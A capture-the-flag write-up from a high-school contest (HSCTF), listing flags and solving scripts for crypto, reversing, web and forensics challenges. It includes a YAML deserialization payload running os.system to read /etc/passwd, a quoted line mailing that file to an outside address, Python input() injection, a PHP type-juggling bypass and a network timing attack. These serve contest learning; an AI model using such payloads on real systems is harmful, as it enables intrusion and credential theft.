A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.
As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us 
.
| Challenge Name | Points | Flag |
|---|---|---|
| A Simple Conversation | 158 | hsctf{plz_u5e_pyth0n_3} |
| Broken Repl | 407 | hsctf{dont_you_love_parsers} |
| Hidden Flag | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |
| 64+word | 421 | hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |
| Broken gps | 280 | hsctf{garminesuckz} |
| Real Reversal | 274 | hsctf{utf8_for_the_win} |
| Json Info | 427 | hsctf{JS0N_or_Y4ML} |
| Massive Rsa | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |
| Really Secure Algorithm | 314 | hsctf{square_number_time} |
| Tux Kitchen | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |
| I Thought Trig Was Really Easy | 374 | hsctf{:hyperthonk:} |
| Tux Talk Show 2019 | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |
| Bitecode | 377 | hsctf{wH04_u_r_2_pr0_4_th1$} |
| MD5– | 230 | hsctf{php_type_juggling_is_fun} |
| Networked Password | 314 | hsctf{sm0l_fl4g} |
| Double Trouble | 397 | hsctf{koalasarethecutestaren’tthey?} |
So I will try to discuss the challenges i loved the most here:
MISC
A Simple Conversation-:
description:
Solution:
On looking to the section of source code we see
print("What's your age?")
age = input("> ")
sleep(1)
Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001 Hello! Hey, can you help me out real quick. I need to know your age. What’s your age?
open(“flag”).read() Traceback (most recent call last): File “talk.py”, line 18, in
age = input("> ") File " ", line 1, in IOError: [Errno 2] No such file or directory: 'flag' streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001 Hello! Hey, can you help me out real quick. I need to know your age. What's your age? open("flag.txt").read() Wow! Sometimes I wish I was hsctf{plz_u5e_pyth0n_3} ... ``` There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
Broken_Repl-:
description:
### Solution:
try: # try to compile the input
code = compile(line, "<input>", "exec") # compile the line of input
except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad
print("there was an error in your code:", e) # notify the user of the error
if False: exec(code) # run the code
# TODO: find replacement for exec
# TODO: exec is unsafe
except MemoryError: # we ran out of memory
# uh oh
# lets remove the flag to clear up some memory
print(flag) # log the flag so it is not lost
You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out this.
So you can see that we can cause memory error from nested list.Great learning
echo "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550
>>> s_push: parser stack overflow
hsctf{dont_you_love_parsers}
There is the flag:hsctf{dont_you_love_parsers}
Hidden Flag-:
description:
### Solution:
I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning.
Then at the end of the file i see some text key is invisible.
So then i realise that the bytes must be xored with the key and we got it by this script.
import binascii
from itertools import cycle,izip
f=open("chall.png")
g=(f.read())
key="invisible"
ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))
l=open("fixed.png","a+")
l.write(ciphered)
That’s it
64+Word -:
description:
Solution :
So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag. Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the Script
from base64 import *
file=open("64word.txt")
data=file.read().split("\n")
o=0
while o<100:
g=data[o:]
for q in range(100):
j=q
s=""
for i in g:
if j>=len(i):
break
s+=i[j]
j+=1
possible_text=(b64decode(s[:4*(len(s)//4)]))
if "hsctf{" in possible_text[:6]:
end_ind=possible_text.find('}')+1
print("The flag is "+ possible_text[:end_ind] )
exit(0)
o+=1
then there is the flag:hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}
Broken gps-:
description: Input Format:
A challenge to test some coding skills.
Solution:
Here’s the script thats explain it all.
import math
suffix=".txt"
flag=""
dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]
for i in range(1,13):
up=0
right=0
filename=str(i)+suffix
f=open(filename)
h=(f.read()).split()
for q in range(int(h[0])):
pos=dirs.index(h[q+1])
if pos==0 or pos==5 or pos==6:
right+=1
if pos==1 or pos==4 or pos==7:
right-=1
if pos==3 or pos==4 or pos==5:
up+=1
if pos==2 or pos==6 or pos==7:
up-=1
flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)
print('hsctf{'+flag+'}')
and here is the output:
hsctf{garminesuckz}
another script as well written by teammate in a more formal way :
import numpy as np
from math import sqrt
dict_direction = {
"north": np.array([ 0.0, 1.0]),
"northeast": np.array([ 1.0, 1.0]),
"northwest": np.array([-1.0, 1.0]),
"east": np.array([ 1.0, 0.0]),
"south": np.array([ 0.0,-1.0]),
"southeast": np.array([ 1.0,-1.0]),
"southwest": np.array([-1.0,-1.0]),
"west": np.array([-1.0, 0.0])
}
def distance(point1, point2):
x1, y1 = point1
x2, y2 = point2
return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0])
position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f:
coords = f.read().strip().split('\n')[1:]
for coord in coords:
position_wrong += dict_direction[coord]
position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf}")
RealReversal-:
description:
Solution:
On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can’t see any characters, because
UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.
So you can see the flag now in reverse order:hsctf{utf8_for_the_win}
JsonInfo-:
description:
Solution:
Trying few thing we see that it accepts string and shows that it’s json or give the error otherwise. So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful link and in section 5 we see yaml.load and here is the warning:
Refer to the PyYAML documentation:
Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function. In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
!!python/object/apply:os.system [“cat /etc/passwd | mail me@hack.c”] Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
repair:
Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
Welcome to JSON info!
Please enter your JSON:
!!python/object/apply:os.system ["cat /etc/passwd "]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
syslog:x:101:102::/home/syslog:/usr/sbin/nologin
Type int is unsupported
Please use a valid JSON array or object
Thank you for using JSON info!
So, yeah the vulnerability is here, Great!!!
streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999
Welcome to JSON info!
Please enter your JSON:
!!python/object/apply:os.system ["cat flag.txt"]
hsctf{JS0N_or_Y4ML}
Type int is unsupported
Please use a valid JSON array or object
Thank you for using JSON info!
The flag is:hsctf{JS0N_or_Y4ML}
CRYPTO
Massive Rsa-:
description:
Solution:
We are given with large modulus and ciphertext
n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551
e = 65537
c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943
It’s really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.
So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate d=modInverse(e,phi(n)) and tada! we have private exponent, then just basic stuffs.
>>> import binascii
>>> binascii.unhexlify(hex(pow(c,d,n))[2:])
'hsctf{forg0t_t0_mult1ply_prim3s}'
So the flag is :hsctf{forg0t_t0_mult1ply_prim3s}
Really Secure Algorithm-:
description:
Solution:
We are given with modulus and ciphertext
n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847
Then I factored n on factordb.
I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate d=modInverse(e,phi(n)) and tada we have private exponent, then just basic stuffs.
>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647
>>> import gmpy2
>>> d=gmpy2.invert(e,p*(p-1))
>>> import binascii
>>> binascii.unhexlify(hex(pow(c,d,n))[2:])
'hsctf{square_number_time}'
So the flag is :hsctf{square_number_time}
Tux Kitchen-:
description:
Solution:
Here’s the problem
import random
good_image = """
TUX's KITCHEN
..- - .
' `.
'.- . .--. .
|: _ | : _ :|
|`(@)--`.(@) |
: .' `-, :
:(_____.-'.' `
: `-.__.-' :
` _. _. .
/ / `_ ' \\ .
. : \\ \\
. : _ __ .\\ .
. / : `. \\
: / ' : `. .
' ` : : : `.
.`_ : : / ' |
:' \\ . : '__ :
.--' \\`-._ . .' : `).
..| \\ ) : '._.' :
; \\-'. ..: /
'. \\ - ....- | '
-. : _____ | .'
` -. .'-- --`. .'
`-- --
"""
flag = open('flag.txt','r').read()
MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!
def bake_it():
s = 0
for i in range(random.randint(10000,99999)):
s = random.randint(100000000000,999999999999)
s -= random.randint(232,24895235)
return random.randint(100000000000,999999999999)
# Create my random mess
def rand0m_mess(food,key):
mess = []
mess.append(key)
art = key
bart = bake_it()
cart = bake_it()
dart = bake_it()
for i in range(len(food)-1):
art = (art*bart+cart)%dart
mess.append(art)
return mess
# Gotta prepare the food!!!
def prepare(food):
good_food = []
for i in range(len(food)):
good_food.append(food[i]^MY_LUCKY_NUMBER)
for k in range(len(good_food)):
good_food[i] += MY_LUCKY_NUMBER
return good_food
# Bake it!!!
def final_baking(food,key):
baked = rand0m_mess(food,key)
treasure = []
for i in range(len(baked)):
treasure.append(ord(food[i])*baked[i])
treasure = prepare(treasure)
return treasure
print(good_image)
key = bake_it()
print(final_baking(flag,key))
great image .So at first we reversed the prepared treasure,but look closely here
for k in range(len(good_food)):
good_food[i] += MY_LUCKY_NUMBER
Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line
treasure.append(ord(food[i])*baked[i])
I need to find baked[i] for which I see the random_mess function which is nothing other than LCG itself.
So we know the starting of flag is ‘hsctf{‘.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the script to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn’t prime .So we have to test this for a while to get the result.
from functools import reduce
from gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")
g=st
for i in range(len(g)):
g[i]^= 29486316 # the lucky number
#print("treasure",g) #check for purpose
flag="hsctf{"
m=[]
for i in range(len(flag)):
if g[i]%ord(flag[i])==0:
m+=[g[i]//ord(flag[i])]
n,k,d = crack_unknown_modulus(m)
print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]
for q in range(1,70):
w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]:
print("this worked") # usual check
ans=[]
for i in range(70):
ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
If you want to test this for yourself here are the used numbers:-
Here is the flag after we ran the script hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}
REVERSAL
I Thought Trig Was Really Easy-:
description:
Solution:
The problem is here as:
import math
def nice_math(x, y):
return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char):
return ord(char) - 96
inp = input("Enter the text: ")
out = []
for i in range(0, len(inp)):
for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1):
out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10,
3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3,
10, -1, 12, 10, 7, -6, 9, -4, 11, -2,
13, -2, -11, 6, -9, 8, -7, 10, -5, 12,
1, -12, 7, -10, 9, -8, 11, -6, 13, -4,
11, 6, -13, 8, -11, 10, -9, 12, -7, 14,
-5, 22, -16, 7, -14, 9, -12, 11, -10, 13,
-8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8,
-15, 10, -13, 12, -11, 5]
if (out == ans):
print("That is correct! Flag: hsctf{" + inp + "}")
else:
print("Nope sorry, try again!")
So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line nice_math(get_number(inp[i]), len(inp) - i), i + 1.That’s nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans (((12+1)*(12+2)/2)-1).This was faster to do so i did it!
import math
def nice_math(x, y):
return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char):
return ord(char) - 96
charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"
inp = ""
flag=""
l=1
while l<=12:
x=0
while x<len(charset):
inp=flag+charset[x]+"b"*(12-l)
assert(len(inp)==12)
out = []
for i in range(0, len(inp)):
for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1):
out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10,
3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3,
10, -1, 12, 10, 7, -6, 9, -4, 11, -2,
13, -2, -11, 6, -9, 8, -7, 10, -5, 12,
1, -12, 7, -10, 9, -8, 11, -6, 13, -4,
11, 6, -13, 8, -11, 10, -9, 12, -7, 14,
-5, 22, -16, 7, -14, 9, -12, 11, -10, 13,
-8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8,
-15, 10, -13, 12, -11, 5]
g=((l+1)*(l+2)//2)-1
if(out[:g]==ans[:g]):
flag+=charset[x]
break
x+=1
l+=1
print('The flag is:hsctf{'+flag+'}')
The flag is: hsctf{:hyperthonk:}
Tux Talk Show 2019:
description:
Solution:
For this challenge it says about a lucky number.
Welcome to Tux Talk Show 2019!!!
Enter your lucky number:
So we opened the ghidra for pseudocode:
// modified a bit by me
int main(int argc,char **argv)
{
long lVar1;
int rand;
time_t time;
basic_ostream *this;
long in_FS_OFFSET;
int input;
int i;
int acc;
int j;
int array [6];
basic_string output_string [32];
basic_istream output_stream [520];
long stack_cookie_i_guess;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
basic_ifstream((char *)output_stream,0x1020b0);
time = time((time_t *)0x0);
srand((uint)time);
/* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */
this = operator<<<std--char_traits<char>>
((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!");
operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: ");
operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input);
array[0] = 0x79;
array[1] = 0x12c97f;
array[2] = 0x135f0f8;
array[3] = 0x74acbc6;
array[4] = 0x56c614e;
array[5] = -0x1e;
i = 0;
while (i < 6) {
rand = rand();
array[(long)i] = array[(long)i] - (rand % 10 + -1);
i = i + 1;
}
acc = 0;
j = 0;
while (j < 6) {
acc = acc + array[(long)j];
j = j + 1;
}
if (acc == input) {
...
}
return 0;
}
here we have 6 numbers in an array and its being added after subtracting this (iVar1 % 10 + -1)
and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
from pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]
host="rev.hsctf.com"
port=6767
m=sum(a)-48
g=sum(a)+6 # setting the range
inp=m+16 #this is where i am guessing the number and try to run multiple times in the loop
while inp<g+1:
try:
s=remote(host,port)
print(s.recvline())
s.sendline(str(inp))
j=s.recvline()
if "hsctf{" in j:
print(j)
s.close()
exit(0)
print(j)
except:
s.close()
sleep(1)
continue
Luckily, I got the flag from there hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}
The second approach is here, save it as time.c and compile to a.out:
#include "stdio.h"
#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t;
srand((unsigned) time(&t));
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0;
for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc);
return 0;
}
and use it over this script
from pwn import *
import time
host = "rev.hsctf.com"
port = 6767
s = remote(host,port)
p = process("./a.out")
res = p.recvline()
s.recvuntil(':')
s.sendline(res)
s.interactive()
That’s it , An attack over the rand function while running the netcat server.
Bitecode -:
description:
Solution:
This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to java file.
So lot of ifs for checking single characters of the flag one by one . So using regexes he extracted them and tried to write a brute to choose them.
So that’s it to write a script to get the flag.
b = ['A'] * 28
for i in range(0xff):
if (i ^ 189074585) - 189074673 == 0:
b[0] = i
if (i ^ -227215135) - -227215214 == 0:
b[1] = i
if (i ^ 19240864) - 19240899 == 0:
b[2] = i
if (i ^ 245881291) - 245881279 == 0:
b[3] = i
if (i ^ 233391094) - 233390992 == 0:
b[4] = i
if (i ^ 56978353) - 56978378 == 0:
b[5] = i
if (i ^ -213838484) - -213838565 == 0:
b[6] = i
if (i ^ -231671677) - -231671605 == 0:
b[7] = i
if (i ^ -132473862) - -132473910 == 0:
b[8] = i
if (i ^ 143449065) - 143449053 == 0:
b[9] = i
if (i ^ 108102484) - 108102411 == 0:
b[10] = i
if (i ^ 71123188) - 71123073 == 0:
b[11] = i
if (i ^ 146096006) - 146096089 == 0:
b[12] = i
if (i ^ -173487738) - -173487628 == 0:
b[13] = i
if (i ^ -116507045) - -116507132 == 0:
b[14] = i
if (i ^ -68013365) - -68013319 == 0:
b[15] = i
if (i ^ 171414622) - 171414529 == 0:
b[16] = i
if (i ^ 94412444) - 94412524 == 0:
b[17] = i
if (i ^ 197453081) - 197453163 == 0:
b[18] = i
if (i ^ -50622153) - -50622201 == 0:
b[19] = i
if (i ^ 190140381) - 190140290 == 0:
b[20] = i
if (i ^ 77383944) - 77383996 == 0:
b[21] = i
if (i ^ -41590082) - -41590047 == 0:
b[22] = i
if (i ^ 61204303) - 61204283 == 0:
b[23] = i
if (i ^ -24637751) - -24637791 == 0:
b[24] = i
if (i ^ 61697107) - 61697122 == 0:
b[25] = i
if (i ^ 267894989) - 267895017 == 0:
b[26] = i
print(''.join([chr(i) for i in b[:-1]]))
Here’s the flag hsctf{wH04_u_r_2_pr0_4_th1$}
WEB
MD5– :
description:
Solution:
<?php
$flag = file_get_contents("/flag");
if (!isset($_GET["md4"]))
{
highlight_file(__FILE__);
die();
}
if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
echo $flag;
}
else
{
echo "bad";
}
?>
From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that ‘==’ comparison is used. This is where Type juggling comes. See for more PHP Magic Tricks: Type Juggling
So what we will try to do to pick up a string which prefix would be ‘0e’ for a reason then adding numbers ahead then calculate its md4 which will be equal to /0e[0-9]{30}/.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.
<?php
echo intval('0e123' == '0e245'); // result 1, which means TRUE
echo "\n";
Here’s the script
import hashlib
import re,sys
from Crypto.Hash import MD4
def breakit():
prefix="0e"
s=0
while 1:
s+=1
st=prefix+str(s)
hashed_s= hashlib.new('md4', st).hexdigest()
if hashed_s[:2]=="0e" and hashed_s[2:].isdigit():
print "[+] found! md4( {} ) ---> {}".format(st, hashed_s)
sys.exit(0)
if s%10000000==0:
print("[+] %d iterations done"%(s))
breakit()
Running this we get this after more than 250000000 iterations.
[+] found! md4( 0e251288019 ) —> 0e874956163641961271069404332409
Here’s our flag hsctf{php_type_juggling_is_fun}
Networked Password -:
description:
Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don’t know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like “hsctf{“ it delayed a bit. And there was a hint given as well-:
Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there’s are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first timing attack challenge.
import requests
import datetime
URL="https://networked-password.web.chal.hsctf.com/"
charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"
flag="hsctf{"
DATA={'password':flag}
r=requests.post(url=URL,data=DATA)
realtime=r.elapsed.total_seconds()
print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)):
DATA={'password':flag+charset[i]}
r=requests.post(url=URL,data=DATA)
nexttime=r.elapsed.total_seconds()
print("[+]Testing:"+str(nexttime)) # printing for debugging
if(realtime+0.4<nexttime):
realtime=nexttime
if(charset[i]=='}'):
print("The final flag is"+flag )
exit(0)
flag+=charset[i]
print("Current flag->"+ flag)
i=0
exit(0)
Here’s the flag after so much running hsctf{sm0l_fl4g}
Glad they had the small flag.
FORENSICS
Double Trouble :
description:
Solution:
After downloading image you see both are quite similar .
So, First thing i did to check hexes and I see bytes aren’t similar . Then first thing first for a forensic challenge stegsolve.
Opening it on command line java -jar stegsolve.jar
I tried image combiner to do AND , OR , XOR operations.But no luck. So i tried strings exiftool then reached zsteg and the output was:
streaker@DESKTOP-DS7FIJL:$ zsteg koala.png
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777
imagedata .. text: "\n\n\n\n\n\n !"
b1,b,lsb,xy .. text: "%q&),52+"
b1,bgr,lsb,xy .. text: "<https://www.mediafire.com/file/0n67qsooy8hcy30/hmmm.txt/fileA"
b2,b,lsb,xy .. text: "6Z?gdF$T"
b2,b,msb,xy .. text: "{sXsE4}8"
b3,bgr,msb,xy .. text: "\";Cc_$y)*I"
b4,b,msb,xy .. text: "%BE##cgv"
streaker@DESKTOP-DS7FIJL:$ zsteg koala2.png
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777
imagedata .. text: "\n\n\n\n\n\n !"
b1,b,lsb,xy .. text: "%q&),52+"
b1,bgr,lsb,xy .. text: "passkey: whatdowehavehereJo"
b2,b,lsb,xy .. text: "6Z?gdF$T"
b2,b,msb,xy .. text: "{sXsE4}8"
b3,g,lsb,xy .. text: "Wg8je^i<"
b4,b,msb,xy .. text: "%BE##cgv"
